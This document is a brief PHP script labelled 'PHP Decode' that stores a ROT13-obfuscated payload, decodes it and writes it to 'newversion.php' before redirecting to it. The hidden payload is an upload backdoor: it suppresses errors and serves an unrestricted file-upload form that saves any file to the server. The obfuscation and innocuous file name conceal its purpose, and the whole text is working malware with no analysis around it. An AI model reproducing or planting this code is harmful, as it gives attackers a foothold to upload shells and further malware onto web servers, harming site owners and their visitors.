PHP Decode

<?php 
$filename = "newversion.php"; 
function rotate($string, $n) { 
     
    $length = strlen($string); 
    $result = ''; 
     
    for($i = 0; $i < $length; $i++) { 
        $ascii = ord($string{$i}); 
         
        $rotated = $ascii; 
         
        if ($ascii > 64 && $ascii < 91) { 
            $rotated += $n; 
            $rotated > 90 && $rotated += -90 + 64; 
            $rotated < 65 && $rotated += -64 + 90;  
        } elseif ($ascii > 96 && $ascii < 123) { 
            $rotated += $n; 
            $rotated > 122 && $rotated += -122 + 96; 
            $rotated < 97 && $rotated += -96 + 122;  
        } 
         
        $result .= chr($rotated); 
    } 
     
    return $result; 
} 
 
$compressed=<<<GUN 
<?cuc 
@vav_frg('bhgchg_ohssrevat', 0); 
@vav_frg('qvfcynl_reebef', 0); 
rpub '<sbez npgvba="" zrgubq="cbfg" rapglcr="zhygvcneg/sbez-qngn">'; 
rpub '<vachg glcr="svyr" anzr="svyr"><vachg anzr="_hcy" glcr="fhozvg" inyhr="Hcybnq"></sbez>'; 
vs ( vffrg(\$_CBFG['_hcy']) && \$_CBFG['_hcy'] == "Hcybnq") { 
    vs (@pbcl(\$_SVYRF['svyr']['gzc_anzr'], \$_SVYRF['svyr']['anzr'])) { 
        rpub '<o>hcybnq fhpprff</o><oe>'; 
    } ryfr { 
        rpub '<o>hcybnq snvyrq! </o><oe>'; 
    } 
} 
?> 
GUN; 
 
$original = rotate($compressed, -13); 
$open=fopen($filename,"w" ); 
fwrite($open,$original); 
fclose($open); 
header("location:".$filename); 
?>